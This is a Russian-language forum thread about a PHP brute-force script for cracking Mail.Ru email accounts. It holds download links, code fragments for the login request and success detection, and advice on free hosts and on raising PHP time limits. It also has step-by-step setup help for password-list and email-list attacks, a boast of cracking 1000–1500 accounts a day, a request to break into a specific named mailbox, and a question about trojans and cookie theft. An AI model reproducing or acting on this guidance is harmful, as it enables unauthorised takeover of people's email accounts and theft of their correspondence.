Просмотр полной версии : Mail.Ru BruteForce (PHP)
Написал брут для почтового сервиса Mail.Ru.
Download:
- ^WEB.FILE^ (http://webfile.ru/1662068)
- .$slil.ru. (http://slil.ru/25303831)
Для этого требуется:
- Хостинг с поддержкой file_get_contents()
- Поставить права на файлы 777
Никаких сокетов не требуется.
Реализованно конечно не суперски, но работает.
Прокси не сделал, так как они там не требуются, но сделать их никому не составит труда.
Подходящий хостинг - freehostia.com
Смотрите так же
- Rambler.Ru Bruteforce (http://forum.antichat.ru/thread49610.html)
- PHP-Injection--ToolS (http://forum.antichat.ru/thread49676.html)
GreenBear
22.09.2007, 16:12
$openMail = file_get_contents('http://win.mail.ru/cgi-bin/auth?Login='.urlencode($login).'&Password='.urlencode($password).'&Domain='.urlencode($domain));
if(!preg_match('|<title> Вход в систему </title>|',$openMail))
а зачем тогда забирать всю страницу, если лучше только до титл. и быстрее работать будет.
sleep(1);
это не нужно. мыло ру все равно не банит.
sleep(1);
это не нужно. мыло ру все равно не банит.
Спасибо, обновил ссылки.
ufoPlast
22.09.2007, 16:52
Подскажите пожалуйста хост для этого дела...
Подскажите пожалуйста хост для этого дела...
Я не пробывал, но ueuo.com должен подойти (он почти вод всё годится)
а зачем тогда забирать всю страницу, если лучше только до титл. и быстрее работать будет.
А потому что это можно токо сокетами сделать, а я скрипт расчитываю на тех, у кого халявный хост :)
set_time_limit() = Off (Время работы скрипта ограничено)
Это значит что скрипт не будет работать?
set_time_limit() = Off (Время работы скрипта ограничено)
Это значит что скрипт не будет работать?
Он будет работать, но N-ное кол-во времени, поставленном в самом конфигураторе PHP.
тоесть, на хостинге, на котором я выложил скрипт, в пхп стоит ограничение на время выполнения скрипта. А как узнать это время?
тоесть, на хостинге, на котором я выложил скрипт, в пхп стоит ограничение на время выполнения скрипта. А как узнать это время?
Что скорее всего, там стоит Safe Mode, по дефолту время вроди 30 сек. (т.е. скрипт будет исполняться 30 сек)
Просто попробуй побрути, если скрипт остановится, ты заметишь.
Joker-jar
22.09.2007, 19:30
А потому что это можно токо сокетами сделать
string file_get_contents ( string filename [, bool use_include_path [, resource context [, int offset [, int maxlen]]]] )
Обрати внимание на параметры offset и maxlen
string file_get_contents ( string filename [, bool use_include_path [, resource context [, int offset [, int maxlen]]]] )
Обрати внимание на параметры offset и maxlen
5.1.0 Добавлены аргументы offset и maxlen.
Не видел на фри хостах PHP версию 5.1.0
Всвязи с найденным довольно большим недостатком, прошу обновить скрипт.
1nf3ct0r
25.09.2007, 16:03
Так все же, какой хостер юзать? На всех стоит set_time_limit() :(
Так все же, какой хостер юзать? На всех стоит set_time_limit() :(
set_time_limit() = On - это хорошо :)
1nf3ct0r
25.09.2007, 17:42
Млин, да понимаю уж :) Вот такой и ишу)
1nf3ct0r
25.09.2007, 17:44
Мож подсказать?
Млин, да понимаю уж :) Вот такой и ишу)
freehostia.com, но там отправки на мыло нету.
max_execution_time 30 30 - если выключить этот параметр, то выполнение скрипта будет нормальным, неограниченным по времени?
Нашёл в настройках пхп..
max_execution_time 30 30 - если выключить этот параметр, то выполнение скрипта будет нормальным, неограниченным по времени?
Нашёл в настройках пхп..
А попробывать никак? Вообще, имхо, ставь max_execution_time 0 0.
А попробывать никак? Вообще, имхо, ставь max_execution_time 0 0.
Менять немогу.
Всё получилось гуд) Подскажите хосты которые сокеты держат?
Спс, все работает, но странно как только находит пароль, то пасс оказывается не подходит или я просто чтото не понимаю, пишет что ГУД .... даже письмо получаю от жертвы но куда пасс вставлять?
Если атаковать по словарю, увесистому, то пароль по любому найдет, но к сожалению не правильный, тестил на своей почте
Вот вот я про тоже к сожелению постоянно не правильный находит, но как так получается что письмо всеравно отправляет?
но как так получается что письмо всеравно отправляет?
отправить тебе письмо с адреса DyadyaBilli@microsoft.com? :)
1nf3ct0r
27.09.2007, 16:43
А мну на один ящик правильный нашел, на второй нет
1nf3ct0r
27.09.2007, 16:46
Гы, а кто мне первый + поставил?)
Поставил скрипт на freehostia.com и все отлично : set_time_limit() = On (Время работы скрипта не ограничено)
Ставлю майл для брута и все остальное , и он сразу кидает в файл Bad.txt.
Подскажите может че-то не то сделал.
freehostia.com как проверить если этот хост поддерживает сокеты?
Если атаковать по словарю, увесистому, то пароль по любому найдет, но к сожалению не правильный, тестил на своей почте
А почему так происходит то? Хорошо бы пофиксили данный баг
ufoPlast
01.10.2007, 18:02
Поставил скрипт на freehostia.com и все отлично : set_time_limit() = On (Время работы скрипта не ограничено)
Ставлю майл для брута и все остальное , и он сразу кидает в файл Bad.txt.
Подскажите может че-то не то сделал.
потому что соккеты не держит хост имхо...
Люди посоветуйте что это может быть за проблема. Залил флудер на HUT2.Ru (время работы скрипта не ограничено). Флужу по списку паролей как только запускаю скрипт на моё мыло приходит отчёт с паролем но пароль первый по списку т е скрипт не переберает пароли.
или подходит первый пароль или не все ошибки в скрипте исправлены автором)))
Особо не тестил, но имхо ложных срабатываний не станет если в функцию login дописать:
$out =array();
preg_match_all('/[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/', $openMail, $out);
А строку с сравнением cделать такой:
if(!preg_match('|<title> Вход в систему </title>|',$openMail) && $out = $email)
Особо не тестил, но имхо ложных срабатываний не станет если в функцию login дописать:
$out =array();
preg_match_all('/[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/', $openMail, $out);
А строку с сравнением cделать такой:
if(!preg_match('|<title> Вход в систему </title>|',$openMail) && $out = $email)
А смысл от этого есть? =\
Есть, видимо мейл ру иногда выдает пустой заголовок, и твое условие выполняется, и таким образом получается ложное срабатывание.
А это можно как нибудь исправить или нужен другой брут
Обновил, сейчас должен работать.
А сеёчас приходят письма так же(сразу после запуска скрипта) но теперь вообще без какого нибудь пароля.
а на локалке нельзя запустить скрипт?
Dimo4ka14
23.10.2007, 17:14
Спс ,редко норм брут найдеш особенно php
использую хотс джино фрии
set_time_limit() = Off (Время работы скрипта ограничено)
Пасс на почту пролитет в бэд.
____________________________
Пошел тестить на ту1.
Добавленно
Тест на ту1 показал
set_time_limit() = On (Время работы скрипта не ограничено)
Но пароль пролител :\
Скрипт качал с первого поста.
А что нужно сделать чтобы пароли не лители в bad.txt
А что нужно сделать чтобы пароли не лители в bad.txt
Сменить хостинг =)
Black dead
30.10.2007, 12:04
можно проще отменить запись bad.txt файла на хосте , я у себя так делаю и нет не каких проблем с чисткой bad.txt файла
Black dead
30.10.2007, 12:15
HloR09
А сеёчас приходят письма так же(сразу после запуска скрипта) но теперь вообще без какого нибудь пароля.
На bupyc.net отлично работает этот скрип и пассы на почту приходят
Этот хост паходу платный а есть где нибудь бесплатный хост на которых пашут эти флуды
HloR09, Вы первый пост читали?
эти флуды
Что за флуды? =\
wariorinc
31.10.2007, 19:48
кто то может подсказать в чём проблема, скрипт настроил всё ок работает, специально тестил по при использовании словарей выше 10 кб получаеться не выдает никакой реакции это таим лемит или как? юзаю хост freehostia.com. может надо что то в скрипте подправить?
wariorinc
31.10.2007, 21:01
и было бы интересно посмотреть как именно его переработать под нужды например форума, кто то может напишет мелкое факю на примере?
интересует ещё как именно забивать формы в скрипт
юзаю этот скрипт все работает ок, если ничего не выводится и не присылается значит не верно указан файл списка или скрипт не может его прочитать, на счет того, что что он не верно находит пароли или не находит их вообще: читайте внимательней тему.
проверка на валидность я сделал так:
if(preg_match('|<a href=folders?|',$openMail))
ps списки мыл у меня по 1мБ, за раз по 600 мыл снимается ;)
wariorinc
31.10.2007, 22:32
юзаю этот скрипт все работает ок, если ничего не выводится и не присылается значит не верно указан файл списка или скрипт не может его прочитать, на счет того, что что он не верно находит пароли или не находит их вообще: читайте внимательней тему.
проверка на валидность я сделал так:
if(preg_match('|<a href=folders?|',$openMail))
ps списки мыл у меня по 1мБ, за раз по 600 мыл снимается ;)
можна поинтересоваться какой хост юзаешь? настроено всё вроде бы ок! ну файл с первого поста!
и можно ли совет по поводу словарей по подробнее?
Black dead
03.11.2007, 19:20
wariorinc
можна поинтересоваться какой хост юзаешь?
на bupyc.net отлично работает и пассы на мыло пресылает
Меня тут спрашивали.. Вобщем можно указывать файл списка ввиде урла (http://host/file.txt, ftp://login: pass@host/file.txt/)
Самое время зависать видео-манул,) для особо-одаренных...
Я не пробывал, но ueuo.com должен подойти (он почти вод всё годится)
Чёта неработает хостинг
Чёта неработает хостинг
Всё робит http://www.ueuo.com/cgi-bin/register.cgi
Ооо Сори, ща пашит может глюк был просто
у меня пустое выдает в бад.
Email: моемыло@mail.ru, password:
в пасе ничего нету, это в бад.тхт такая запись
не ну люди, вреале очень надо, а хостинг подходящий найти немагу..... ХЕЛП
не ну люди, вреале очень надо, а хостинг подходящий найти немагу..... ХЕЛП
читал первый пост?
номер 1 скажи пожалуста твою асю, есть вопросы((
извиняюсь за ламерство, но надаже с чегото начинать...
NOmeR1 убедительная просьба, добавить в скрипт очистку файла bad.txt, хотябы каждые минут 15-20, а то он быстро наростает до 3,5 мб и скрипт останавливается((
Black dead
15.11.2007, 17:57
vp$ ты на хосте не ставь запись bad.txt и будеть тебе счасть
Всем, кому мешает запись в файл bad.txt, уберите строки с 100 по 104 строки, т.е. эти:
else
{
fwrite($bad, $send);
fwrite($bad, "\n");
}
Всем, кому мешает запись в файл bad.txt, уберите строки с 100 по 104 строки, т.е. эти:
else
{
fwrite($bad, $send);
fwrite($bad, "\n");
}
это понятно, просто по bad.txt можно отследить работает скрипт или нет, поэтому хотелось бы добавить именно функцию очистки
alexman90
20.11.2007, 14:39
люди помогите пожалуйста... не хочит на freehostia.com и на tu1.ru работать брутфорс...права выстовил. скрипт ошибок не выдаёт, путь к списку поролей/email'ов прописываю через хттп...вcё записывается в файл bad.txt , хотя я тестил на своём мыле...и даж указал правельный пороль ( права 777 на файлы и папку)
Black dead
01.12.2007, 12:34
люди помогите пожалуйста... не хочит на freehostia.com и на tu1.ru работать брутфорс...права выстовил. скрипт ошибок не выдаёт, путь к списку поролей/email'ов прописываю через хттп...вcё записывается в файл bad.txt , хотя я тестил на своём мыле...и даж указал правельный пороль ( права 777 на файлы и папку)
на фри http://www.freetzi.com/ работает этот скриптик
GOoDoker
03.12.2007, 04:03
Обьясните пожалуйста, как юзать скриптик?Написал я там одно мыло в файле spisok , а что дальше, если можно попунктам, заранее благадарю! =)
Black dead
03.12.2007, 11:56
Обьясните пожалуйста, как юзать скриптик?Написал я там одно мыло в файле spisok , а что дальше, если можно попунктам, заранее благадарю! =)
если хочиш по списку пасов тогда на хост себе заливаеш файл .тхт с пасами , тоже самое если брутиш по списку мыл на один пасс , можеш несколько файлов с пасами залить только имя их запомни , чтоб потом его вписать
скриптик и так работает если одно мыло вписать в отрывшейся странице для брута
AkyHa_MaTaTa
03.12.2007, 15:53
Вот перевел брутер Бугоровской прогой, немного переделал алгоритм опознавания правильного пароля.
В файле mails.txt - должно быть мыло(1) жертвы.
В файле passwords.txt - соответственно пароли, все с НОВОЙ строки, для экономии времени, скажу сразу,не пишите русские слова.
В файле resyltat.txt должен появится результат в случаи успеха.
С проксями не работает, брутите со своего айпи на свой страх и риск
http://www.rapidshare.ru/487546 .
sedoy_xxx
18.12.2007, 17:32
как сменить права на http://www.freetzi.com/? скинул файл а права сменить не могу не тоталом не mc
Black dead
18.12.2007, 19:03
как сменить права на http://www.freetzi.com/? скинул файл а права сменить не могу не тоталом не mc
меняй их через http://www.freetzi.com/cgi-bin/amanager.cgi
Народ что я не так делаю. загружаю на www.ххххх.freetzi.com скрипт Mail.Ru BruteForce загружается всё кроме index.php.В чём дело кто знает.
Убрал запись в bad.txt, из-за которой у всех были проблемы с большим списком.
Conquerstador
30.12.2007, 13:26
вопрос как запускать эту фень ставлю на хост захожу и ни чё а как применить?
Black dead
25.01.2008, 12:44
вопрос как запускать эту фень ставлю на хост захожу и ни чё а как применить?
на хост со скриптом заходи через обычный браузер http://твой хост/папка со скриптом для брута/
Diversant-kz
26.01.2008, 23:12
Сделайте видео плиссс я не пойму чтото как настроить
Black dead
27.01.2008, 18:17
там впринцыпе и так все понятно и без видео ставишь папку соскриптом на хост туда же в эту папку свои списки , выставляешь права на папку 777 на скрипт 775 , и заходишь на скрипт через обычный браузер в появившемся окне выбираешь по списку мыл или пасов будеш брутить , жмыкаеш свой выбор и вписываешь в окне свой список мыл или пассов
Joker-jar
27.01.2008, 18:26
Хм, нашел где-то в дебрях свой брутер, на сокетах. https://forum.antichat.ru/showthread.php?t=42004 . Кому не лень, проверьте, работает еще или нет
vovochka
27.01.2008, 20:09
Freetzi.com - я там зарегался а скрипт не хочет загружатся....фаил появляется но пустой....
Mariokoff
30.01.2008, 16:07
Добрый день
Может кто поможет, установил скрипт на freehostia.com, для проверки загрузил список состоящий из 5 адресов, один из них мой, ввел правильный пароль к своему ящику и все нормало и правильно сбрутилось, все работает! потом загрузил список чуток посерьезней (5000 ящиков) ввел пароль для подбора к этим ящикам и секунд через 15 опера выдает ошибку такую вот: "Ошибка! Соеденение закрыто удаленным сервером. Вы пытались получить доступ к адресу http://............................/?id=2, который сейчас не доступен. Убедитесь, что веб-адрес (URL) введен без ошибок, и попытайтесь перезагрузить страницу."
В чем может быть проблемма???
скорей всего стоит лимит времени выполнения скриптов на этом сервере
Mariokoff
30.01.2008, 21:28
Когда заходишь через браузер написано следующее:
"Файл для хороших мэйлов "GOOD.txt" доступен для записи
set_time_limit() = On (Время работы скрипта не ограничено)"
если я правильно понимаю то вроде лимита нет!
Могу и не правильно понимать, т.к в скриптах мало чего понимаю, это первый опыт когда хоть что то получилось!
Если нет лимита выполнения скрипта, то запустив его можно закрыть браузер, т.к. процесс на сервере будет продолжать работать, а браузер все равно через некоторое время выдаст ошибку , потому что результат возвращаемый ему нулевой
парни помагите ломануть ящик rrrrrrrr@bk.ru если чё отправьте пароль на ящик abvd@mail.ru заранее благодарен
Mariokoff
31.01.2008, 22:56
А какой максимальный размер файла (список мыл) может нормально "схавать" скрипт, без вые..онов, если брутить на один пасс?
П.С. может кто-нибудь подкинуть список самых распространенных пассов?
Mariokoff
02.02.2008, 22:53
Если нет лимита выполнения скрипта, то запустив его можно закрыть браузер, т.к. процесс на сервере будет продолжать работать, а браузер все равно через некоторое время выдаст ошибку , потому что результат возвращаемый ему нулевой
Тогда как узнать что скрипт закончил свою работу? Если отправки на е-мейл нету!
я скачал, там файл php чем открывать?
я скачал, там файл php чем открывать?
В том то и фишка, брутишь не ты, а сервак.
Бери хостинг с поддержкой PHP и кидай туда скрипт.
бррр, вообще ниче не понимаю, вот тут есть темка, где все выкладывают хакнутые эмэйлы, я так понимаю вбивают пароль например 123456 и прога находит адресатов с таки паролем, вообщем как прога называется?
бррр, вообще ниче не понимаю, вот тут есть темка, где все выкладывают хакнутые эмэйлы, я так понимаю вбивают пароль например 123456 и прога находит адресатов с таки паролем, вообщем как прога называется?
Это сказки. Есть список имейлов, есть список паролей. Скрипт к каждому имейлу подбирает каждый пароль. Эта прога называется брут.
Спасибо буду пытаться, по форме пытаюсь восстановить, но увы пишет мало инфы, хотя многое знаю о человеке. имя, фамилия отчество 100% верны. + возраст. Может поможете. Как насчет троя? Как они работают? И куда пароли придут? и есть ли софтина, которая может у человека утенуть куки?
Tapaceuka
13.02.2008, 08:05
у меня теперь следующая ошибка.
Я ввоже точто надо, и должно перебирать и курсор с часиками песочными. А щас просто отправляет точто я ввожу на форму и никаких действий.
Вот Адрес скрипта http://webmoney1.jino-net.ru/brutemail/
Black dead
13.02.2008, 08:27
А какой максимальный размер файла (список мыл) может нормально "схавать" скрипт, без вые..онов, если брутить на один пасс?
все зависит от твоего хоста мощности и места не нем , на хорошем хосте у мени раньше 1,5 милионый список мыл хавал
Tapaceuka
13.02.2008, 19:55
скажи где у тя хост плз а лудше дай просто ссылку на залитый скрипт
Забудь про jino-net.ru. Читай первый пост.
Подходящий хостинг - freehostia.com
На самом деле есть масса подходящих хостов. Так же рекомендую ueuo.com.
Alekzzzander
20.02.2008, 16:04
на локалхосте всё отлично работает!!!
если не отправляет на мыльник,то где результаты смотреть?я например бручу 1 мыло.
Mariokoff
17.03.2008, 12:49
если не отправляет на мыльник,то где результаты смотреть?я например бручу 1 мыло.
в файле GOOD.txt
Попробовал счас на freetzi.com, после 1 запуска страничка index.php обнулилась (0 байт)
Mariokoff
17.03.2008, 13:59
на freetzi.com та же история у меня была. А на freehostia.com все прекрасно работает! Так что не заморачивайся и юзай провереный хост.
*опа,не могу настроить!зарегался на freehostia.com,там папка xxxxx.freehostia.com.кидаю туда index.htm(любой для проверки)и не алле.есессна ввожу где находиться страничка.как так та?
Mariokoff
19.03.2008, 02:27
Создаешь в папке xxxxx.freehostia.com попку, например brut, закидываешь туда все что нужно, а именно:
index.php
pass.txt
spisok.txt
Выставляешь права на все это дело, вроде 777
И заходишь через браузер так: http://xxxxx.freehostia.com/brut
а ни але,нифига не получается.главное что в контрольную панель пускает,файлы я туда заливаю,а через броузер Sponsored Listings- список хостов.права все правильно поставил.хз.ботва.новый создам акк,посмотрим что там будет.
да ни*ера!как ввожу в броузере свой урл,пачиму та меня перекидывает на главную.ppc
Mariokoff
19.03.2008, 21:10
Ты как файлы закачиваешь и права выставляешь, через вебинтерфейс???
на локалхосте и на фтп пашет отлично. Одно только непонятно - ПОЧЕМУ майл.ру не банит ? о_О
Ты как файлы закачиваешь и права выставляешь, через вебинтерфейс???
да,конечно.и через тотал делал,одна *ерня так получается.
на локалхосте и на фтп пашет отлично. Одно только непонятно - ПОЧЕМУ майл.ру не банит ? о_О
то есть думаете через фтп пробовать?
ftp://*****.freehostia.com/bruta
а что за локахост?
то есть думаете через фтп пробовать?
ftp://*****.freehostia.com/bruta
а что за локахост?
речь о сервере, где будет работать скрипт. Можно установить сервер на своём компе (localhost - локальный хост), например Денвер. Можно залить на сервер в сети (для этих целей можно взять например один из многих пабликовых FTP, смотри в разделе Халява там где раздают фтп). Забудь про всякие фрихостии, бери нормальные фтп с отчетов, не так уж сложно найти !
народ помогите мне плиз: проблема такова, я вроде поставил скрипт на страницу
graber.freehostia.com/poisk/ она все запускается, значит скрипт работает! Но вот вопрос я бручу (тестовое) мыло tak9000@mail.ru пароль там из 6 цифор, в словаре для перебора пароля (proba.txt) указан пароль на ящик но он его не находит! залито все через веб интерфейс! в чем могет быть проблема?, права выставленны 777.
Black dead
20.03.2008, 08:04
1 на хосте очень маленький лимит веремени исполнения скрипта
2 из-за этого скрипт не успевает перебрать все пассы в твоем тхт и дойти до верного пасса
1 на хосте очень маленький лимит веремени исполнения скрипта
2 из-за этого скрипт не успевает перебрать все пассы в твоем тхт и дойти до верного пасса
ну и чего делать то, не я же один на этом хосте сижу!?? давайте предлогайте варианты, как увеличить время на хосте! а то очень хочется попробовать!
Mariokoff
20.03.2008, 10:22
На этом хосте "set_time_limit() = On (Время работы скрипта не ограничено)"
И у меня нормально все работало, и подбирался пароль на тестовое мыло!
URB-VOLK
20.03.2008, 10:27
супер вещ ))))
Black dead
20.03.2008, 12:05
ну и чего делать то, не я же один на этом хосте сижу!?? давайте предлогайте варианты, как увеличить время на хосте! а то очень хочется попробовать!
вариант такой у себя на хостинге создаете .htaccess и там прописываете:
php_value max_execution_time 100 к примеру (или более)
Вы сами выставляете время
вариант такой у себя на хостинге создаете .htaccess и там прописываете:
php_value max_execution_time 100 к примеру (или более)
Вы сами выставляете время
что прям одну строку вот ету прописать и все???
да и файл должен быть .htaccess или 123.htaccess - например!
залил себе .htaccess и вот что получилось:
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, support@freehostia.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Apache/1.3.33 Server at graber.freehostia.com Port 80
что ето такое и что делать???
поставь на свою машину appserv, помести в папку www файлы и в строке браузера пропиши http://127.0.0.1 и все будет работать без ограничений ;)
Vivo
а смысл на локальной машине ставить php скрипт, когда надо чтобы брутил то другой комп или сервак!
А 2ru.name сойдет?????
Че писать в: Email для брута? или пароль для брута?
Че писать в: Email Админа?
Че писать в: Файл списка?
И чем отличается: По списку паролей и По списку Email-ов??? поля одинаковые!!!
Mariokoff
02.04.2008, 10:11
А 2ru.name сойдет?????
Че писать в: Email для брута? или пароль для брута?
Че писать в: Email Админа?
Че писать в: Файл списка?
И чем отличается: По списку паролей и По списку Email-ов??? поля одинаковые!!!
1. По списку паролей - этоь когда тебе надо подобрать пароль к ОДНОМУ единственному емейлу, и поэтому нужен список паролей, пароли из этого списка поочереди будут подстваляться к этому единственному емейлу.
В поле Email для брута ты пишет тот самый единственный емейл.
А в поле Файл списка указывается файл списка паролей, Если этот файл, например pass.txt, находится в той же папке на хосте что и index.php, то в этом поле так и пишешь pass.txt. Если где то в другом месте указываешь URL.
2. По списку Email-ов - это когда надо сбрутить дохуя акков на mail.ru. Здесь один единственный пароль подставляется к списку емейлов, который ты указываешь в поле Файл списка Если этот файл, например emails.txt, находится в той же папке на хосте что и index.php, то в этом поле так и пишешь emails.txt. Если где то в другом месте указываешь URL.
Поэтому в поле Пароль для брута ты пишет тот самый единственный пароль.
3. Email Админа - это тот емейл, поидее на который должен приходить результат удачно сбрученных емейлов. Почему поидее? Потому что, к примеру на freehotia.com отчет на указанны емейл НЕ приходит, не знаю как на других хостингах, не пробывал. И если я правильно понимаю это зависит от хостинга!
Тогда где же будет результат?? А результат удачно сбрученных емейлов будет в файле GOOD.TXT.
Mariokoff
02.04.2008, 10:19
И еще, чтоб все нормально работало выглядеть это все должно примерно так:
http://i045.radikal.ru/0804/56/649d2572acf9.jpg http://i027.radikal.ru/0804/b4/5a8c4aa75272.jpg
ЭТО ПРИМЕР!!! :)
спс за инфу, а для яндекса ниче нет?
НTL
для яндекса есть своя тема (https://forum.antichat.ru/thread64900.html)
Ребята как я рад работает, блин 3 недели все ето дело освамвал и все таки сработало! активистам сейяас плюсы поставлю!
Ребята, ппц :) сорри за офф, ну обьясните далекому, как ставится разрешение 777?? куда и как, как можно более понятнее пож..! Заранее спс, сорри есчо разок!)
Все ) сорри понял! И второй вопрос, в индексовской(в самой работе человека) что то изменять надо???
Все ) сорри понял! И второй вопрос, в индексовской(в самой работе человека) что то изменять надо???
что то я смысл вопроса понять не могу!
в командной строке chmod 777 blabla.txt
в тотал командере при соеденение по фтп меню файл пункт атрибуты файлов, там увидеш едит куда можно вписать.
а можно ли этот скрипт сделать так что он бы он перебирал по буковкам и симловам в словарике????
Спасибо! И есчо п=вопрос, вот я залил ето длео на сайт freevar.com - он сохранился голым(тоесть пустым) когда я файловый менеджер захожу, и пытаюсь изменить содержащее индексовской строницы - он пустой, и при копировании туда, скрипта который написал человек, ничего не выходит! Сайвю файл после редактирования, и он все одно голеныкийй сейвится!
на сайтике видимо запрещен какойто код! вот поетому и пустой становится, попробуй через ftp залить!
Понял! Спасибо! Отпишусь!)
как увеличить скорость проверки паса? ибо инет канал грузит не полностью... хотелось бы чтоб на максе переберал пасы
кол-во потоков другим словом как изменить?
как увеличить скорость проверки паса? ибо инет канал грузит не полностью... хотелось бы чтоб на максе переберал пасы
кол-во потоков другим словом как изменить?
и ешё вопрос я так понел mail.ru не банит?
если запустить скрипт и закрыть страницу , то скрипт продилжит исполняться или нет?
и ешё вопрос я так понел mail.ru не банит?
если запустить скрипт и закрыть страницу , то скрипт продилжит исполняться или нет?
какая разница?главное норм брут :D
еслиб мне было без разницы , я бы не спрашивал...
на хосте запрещен код твой, вот и обнулился твой файлик! воощбщем ищи хост нормальный, пример есть на 1oй странице
Тогда можешь не мучаться! Потому что у мну таже картинка!
П.С.
Читай что пишут, и думаю найдешь ответ сам на свой вопрос! Чем задавай его после десятка таких же!
да реально ребята почитайте все эти 15 страниц уже расписали подробнее не куда!
Автор, сделай возможность добавления словаря в несколько файлов! а то хост только 500 кб файл держит... и все будет круто!
В чем проблема: через 10 секунд после запуска выкидывает на пустую страницу?
chibit
видимо что то настроено не так, или путь не правильно прописан к пассворду, а вот на счет возможности добавления словаря несколькими файлами это было бы хорошо!
Black dead
25.04.2008, 06:59
chibit это лимит времени работы скрипта стоит на твоём хостинге из-за этого тебя и выкидывает на пустую страницу
дайте плиз нормальный бесплатный хост кроме джино/tu2/freehostia/ueuo.com
opy495
навлятри те дадут ту какой нить хост с етим тут сложновато!
Black dead
07.05.2008, 08:57
opy495 а чем для тебя freehostia/ueuo.com не подходят , по мойму все фри хостинги одинаковые
и в твоём понятии нармальный хостинг что подразумевается ?
grandmasterbit
15.05.2008, 10:44
вопрос как запускать эту фень ставлю на хост захожу и ни чё а как применить?
У мну таже хня.
Захожу вот так xxx.freetzi.com/brut/index.php.
Права менял на 777.Вы уверены что он php поддерживает?На главной сказано что файл должен быть index.html
CrazyStudentS_Mi}{
15.05.2008, 12:15
все в пыхе должно быть, купите себе хостинг дешевый и брутьте,все отлично работает, из спам баз мона набрутить по ламерским паролям до 1000-1500 акков в сутки если очень стараться
grandmasterbit
15.05.2008, 13:06
все в пыхе должно быть, купите себе хостинг дешевый и брутьте,все отлично работает, из спам баз мона набрутить по ламерским паролям до 1000-1500 акков в сутки если очень стараться
Слуш зачем платить если можно взять бесплатно ,надо только знать как.Вот я и не знаю, и прошу знающих людей мне помочь.
Слуш зачем платить если можно взять бесплатно ,надо только знать как.Вот я и не знаю, и прошу знающих людей мне помочь.
Если не знаешь как-не пиши :mad:
grandmasterbit
16.05.2008, 14:06
Если не знаешь как-не пиши
Вообще-то я думал что этот форум существует для того чтобы находить ответы на вопросы.
flood_separator
17.05.2008, 13:51
Народ!
что я не так делаю?
1. завел акк на freehostia.com (воспользовался рекомендацией с 1-й страницы)
2. соорудил каталог и залил в него файлы, установил права.
3. зашел как учили - скрипт работает, вижу правильные окошки.
4. пошел по списку паролей. ломал свое тестовое мыло. при списке паролей всего из 2-х строк, где правильный пароль стоял первым, нашел только пару раз из пары десятков попыток. после изменения списка паролей (правильный пароль стал вторым) ни одного верного срабатывания.
где поискать?
CrazyStudentS_Mi}{
17.05.2008, 15:06
у меня скрипт хорошо работает только при поиске по базе мыл а не по базе паролей, фрихостиа режет файлы где то больше двух метров :( этим она Го***
flood_separator
17.05.2008, 15:07
В целом, очень интересный инструментец! Респект автору!
хотелось бы еще какой-нибудь индикатор прогресса. Например, отправлять на экран что-нибудь каждые секунд 5. Хоть текущую строку из списка или ее номер.
И какой-нибудь индикатор окончания процесса, а то при проходе по длинному списку совсем не понятно - работаем/висим/закончили?
А он вообще сейчас актуален? работает?
На каком хостинге? я на freehostia свой мыльник тестил - нифига. Может из за того, что пароль на русском?
Может кто для меня настроит этот Php брут.Я заплачу за работу.
Напишите если есть предложения 350292837
Вопрос такой вот когда ставишь пасс примерно 20 то он его не находит а вот кпримеру потом поставить с20 по 30 его находит так в чем проблема может быть сижу на скорост 64кбита/с
находит пароль только когда ставлю пароль 5 по списку кпримеру
так находит
1231
1231
1231
1231
1231
так не находит
1231
1231
1231
1231
В чем может быть проблема ? Юзаю tu1 . Вбил все как на картике. Нажимаю начать и меня просто перекидывает на новую страницу на которой нет полей ввода и больше ничего не показывает.
Black dead
28.05.2008, 07:18
heks работа скрипта не зависит от скорости твоего подключения к инету
heks работа скрипта не зависит от скорости твоего подключения к инету
я это и сам понимаю потому что скрипт стоит не на моей машине но пароль то он не находит в чем траблы ?
Black dead
28.05.2008, 11:58
heks попробуй сменить хостинг под брут может из-за хостинга такие траблы со скриптом
уже на трех хостингах пробовал могу в принципе еще на нескольких попробовать но думаю результат неизменится
А почему когда я заливая на хост этот рhр файл он на хосте становится пустым,т.е из него все удаляется
Неподскажете че куда писать и в каком формате :
Email для брута: ну тут я понял пишется ****@mail.ru
Email Админа: тут свое мыло в таком же формате
Файл списка: а вот файл непонятно толи просто писать world.txt и выкладывать в дерикторию с index.txt толи юрл и в файле как mail@mail.ru; pass или просто пас??
Сори все нашел ))
Неподскажете че куда писать и в каком формате :
Email для брута: ну тут я понял пишется ****@mail.ru
Email Админа: тут свое мыло в таком же формате
Файл списка: а вот файл непонятно толи просто писать world.txt и выкладывать в дерикторию с index.txt толи юрл и в файле как mail@mail.ru; pass или просто пас??
Сори все нашел ))
прикольно это уже и до тебя писали
угу токо всеравно не работает пробовал свежую версию там вообще непонятно пытался свой пас подобрать безрезультатно, взял старую версию с бэд листом там хоть видно процесс, но почему-то правильный пас попадает в бэд
да прога чет внатуре перестала пахать
А на бесплатном хосте катит?
NOmeR1 незнает в чем дело вот раньше прога реально работала теперь же нет ;( NOmeR1'у надо бы ее немного переделать что бы работала снова
Все отлично работает на freehostia.com.Но без отправки на мыло,на смотреть в GOOD.
Только при большом словаре в GOOD закидывает 3-4 пароля,на одно и то же мыло. один из которых является верным,думаю это не так страшно,главное работает.
хотел поменять словарь,не получается,новый словарь не загружается на хост.Кто знает от чего это?может изза того что словарь большой,может там ограничение какое стоит на размер
Black dead
30.05.2008, 07:11
max123 когда я пробывал раньше с freehostia.com брутить словори делал чтоб были размером примерно кб 900 для коректной работы скрипта на этом хостинге
Black dead спасибо за совет.
А ты не знаешь на каком хосте можно использовать более увесистые словари?
Неужели никто не знает на какой хост можно "большие" словари загружать?
GumaNoiD
03.06.2008, 18:47
дайте рабочий линк на брут плиз
да брут не пашет че толку то
MaoTzeDun
03.06.2008, 21:12
да брут не пашет че толку то
С чего ты взял что не пашет?!
Неужели никто не знает на какой хост можно "большие" словари загружать?
на свой хост
crackmail
04.06.2008, 20:59
не пашет..
ни на tu2.ru
ни на freehostia
ни на localhoste
элементарный пароль не видит 123456789
azot_burn
06.06.2008, 12:37
Написал брут для почтового сервиса Mail.Ru.
Download:
- ^WEB.FILE^ (http://webfile.ru/1662068)
- .$slil.ru. (http://slil.ru/25303831)
Для этого требуется:
- Хостинг с поддержкой file_get_contents()
